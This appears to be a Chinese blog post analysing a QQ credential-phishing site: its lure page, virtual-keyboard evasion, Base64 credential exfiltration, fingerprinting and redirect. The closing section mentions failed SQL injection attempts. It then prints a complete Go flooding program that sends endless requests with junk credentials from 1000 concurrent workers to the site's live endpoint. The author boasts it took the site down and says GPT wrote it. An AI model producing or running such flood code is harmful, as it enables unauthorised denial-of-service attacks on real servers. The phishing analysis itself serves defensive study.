某QQ盗号网站的技术分析

近期,我们观察到一个域名为 rb.ootits.com 的钓鱼网站,该网站通过一套精心设计的流程来窃取用户的QQ凭证。本文将从纯技术的角度,对其前端实现、数据交互及攻击链进行详细的剖析。


攻击流程总览

该钓鱼攻击并非单页面作战,而是构成了一个完整的、自动化的攻击链,大致可分为四个阶段:

  1. **诱饵阶段 (Lure)**:通过特定主题的页面吸引用户交互。
  2. **钓鱼阶段 (Phish)**:在高度仿真的页面上诱导用户输入凭证。
  3. **窃取阶段 (Exfiltrate)**:在后台将凭证数据编码并发送至服务器。
  4. **收尾阶段 (Redirect)**:将用户重定向至合法网站以掩盖攻击行为。

核心技术细节剖析

1. 场景化社会工程学:双层诱导设计

攻击的入口是一个伪装页面,而非直接的登录表单。

  • 初始页面 (index.html):
    • 主题伪装: 页面 <title> 设置为“学生资料”,并使用 School.png 作为背景,构建了一个特定场景,旨在降低特定人群(如学生、家长)的警惕性。
    • 交互诱导: 整个页面是一个可点击区域,触发gout() JavaScript函数。该函数弹出一个提示:“当前文档过大,需要登录QQ才能查看”,为后续的登录请求制造了一个看似合理的理由。
    • 流程跳转: 用户点击确认后,window.location.href 将页面导航至下一步的钓鱼表单 /step_in/

2. 前端规避技术:自定义虚拟键盘

这是本次钓鱼攻击中技术实现上最为关键的一环。

  • 目的: 旨在绕过现代浏览器、密码管理器及终端安全软件的防护机制。
  • 实现:
    • 通过HTML和CSS构建了一套完整的屏幕虚拟键盘。
    • 核心的密码输入框被设置为 readonly 属性:
      1
      <input id="p" class="inputstyle" maxlength="16" type="password" name="pass" placeholder="密码" readonly>
    • readonly 属性使得用户无法通过物理键盘或操作系统弹出的软键盘进行输入,强制用户必须使用页面提供的虚拟键盘。这可以有效防止浏览器插件的密码自动填充、安全警告以及基于键盘事件的监控。

3. 数据外泄:编码与隐蔽通信

用户凭证的发送过程是静默的,通过后台AJAX请求完成,用户不会察觉到页面刷新。

  • 数据封装与编码:
    1. 构造JS对象: 首先,脚本获取账号和密码,构造成一个JavaScript对象。
      1
      { user: "114514", pass: "qwwedtb" }
    2. JSON序列化: 接着,该对象被转换成一个JSON格式的字符串。
      1
      '{"user":"114514","pass":"qwwedtb"}'
    3. Base64编码: 最后,整个JSON字符串被进行Base64编码,形成最终用于传输的载荷。
      step1
  • 数据传输:
    • 编码后的字符串作为GET请求的参数,由一个名为ds()的函数通过XMLHttpRequest发送到后台的data.php脚本。
    • 请求示例如下,其中 sv 参数的值即为Base64编码后的载荷:
      1
      GET /app/data.php?sv=ZXlKaFkzUWlPaUp6ZGlJc0ltUmhkR0VpT25zaWRYTmxjaUk2SWpFeE5EVXhOQ0lzSW5CaGMzTWlPaUp4ZDNkbFpIUmlJbjE5 HTTP/2
    • 这种方式将恶意数据隐藏在看似随机的编码字符串中,增加了流量检测的难度。

4. 受害者追踪:设备指纹采集

在发送凭证的同时,另一个脚本 cess/index.php 负责采集详细的受害者设备指纹。

  • 采集信息: 通过URL参数,该脚本收集了大量客户端环境信息,包括:

    • IP 地址与地理位置
    • 操作系统 (IOS)
    • 浏览器类型 (Safari)
    • 屏幕分辨率
    • 设备类型 (手机)
    • 来源页面与当前页面标题
  • 用途: 这些数据为攻击者提供了详尽的统计视图,用于评估钓鱼活动的有效性及分析受害者画像。

5. 攻击收尾:动态重定向

数据窃取成功后,攻击流程并未中止,而是进入了精心设计的收尾阶段。

  • 服务器端指令: data.php在成功接收凭证后,其响应体中包含下一步指令:
    1
    2
    3
    4
    {
    "err": 0,
    "location": "../step_code/"
    }
  • 中间页跳转: 浏览器根据 location 指令跳转到一个临时的中间页面 /step_code/
  • 最终跳转: 该中间页面会再次向 data.php?sv=js 发起请求,获取最终的跳转配置。服务器返回的JavaScript中定义了最终的跳转目标:
    1
    2
    3
    4
    var conf = {
    // ...其他配置
    "readyJump": "[https://docs.qq.com/](https://docs.qq.com/)"
    };
  • 完成欺骗: 浏览器最终被重定向到合法的腾讯文档官网。这一步操作极具欺骗性,它销毁了钓鱼现场,并让受害者感觉自己成功完成了一次正常的登录操作,从而最大程度地避免了嫌疑。

4. 你他喵的:怎么收拾你捏

尝试sql注入无果,尝试sql注入
最后写暴力请求程序秒了,现在网站已经挂了,dns解析也置空了233333

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package main

import (
"bytes"
"encoding/base64"
"encoding/json"
"fmt"
"math/rand"
"net/http"
"sync"
"sync/atomic"
"time"
)

// 配置
const (
url = "https://rb.ootits.com/app/data.php"
userAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1"
cookie = "PHPSESSID=3a91640cc9491b1f01bb61496ca7938f"
concurrency = 1000 // 并发数量
)

// 请求计数
var totalRequests uint64
var totalBytes uint64

func randomString(n int) string {
letters := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
s := make([]rune, n)
for i := range s {
s[i] = letters[rand.Intn(len(letters))]
}
return string(s)
}

func makePayload() string {
data := map[string]interface{}{
"act": "sv",
"data": map[string]string{
"user": randomString(8),
"pass": randomString(10),
},
}
jsonBytes, _ := json.Marshal(data)
// 双层 Base64
encoded := base64.StdEncoding.EncodeToString([]byte(base64.StdEncoding.EncodeToString(jsonBytes)))
return encoded
}

func sendPost(wg *sync.WaitGroup) {
defer wg.Done()
client := &http.Client{
Timeout: 10 * time.Second,
}
for {
payload := makePayload()
form := fmt.Sprintf("sv=%s", payload)
req, _ := http.NewRequest("POST", url, bytes.NewBufferString(form))
req.Header.Set("User-Agent", userAgent)
req.Header.Set("Accept", "*/*")
req.Header.Set("X-Requested-With", "XMLHttpRequest")
req.Header.Set("Sec-Fetch-Site", "same-origin")
req.Header.Set("Sec-Fetch-Mode", "cors")
req.Header.Set("Sec-Fetch-Dest", "empty")
req.Header.Set("Referer", "https://rb.ootits.com/step_in/")
req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8")
req.Header.Set("Cookie", cookie)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

resp, err := client.Do(req)
if err == nil {
n, _ := resp.Body.Read(make([]byte, 1024)) // 读取部分数据计算流量
atomic.AddUint64(&totalRequests, 1)
atomic.AddUint64(&totalBytes, uint64(n))
resp.Body.Close()
} else {
fmt.Println("请求错误:", err)
}
}
}

func main() {
rand.Seed(time.Now().UnixNano())

var wg sync.WaitGroup
for i := 0; i < concurrency; i++ {
wg.Add(1)
go sendPost(&wg)
}

// 每秒输出统计
ticker := time.NewTicker(1 * time.Second)
go func() {
var lastReq uint64
var lastBytes uint64
for range ticker.C {
req := atomic.LoadUint64(&totalRequests)
bytes := atomic.LoadUint64(&totalBytes)
fmt.Printf("每秒请求数: %d, 每秒流量: %.2f KB\n", req-lastReq, float64(bytes-lastBytes)/1024)
lastReq = req
lastBytes = bytes
}
}()

wg.Wait()
}

GPT写的,好使!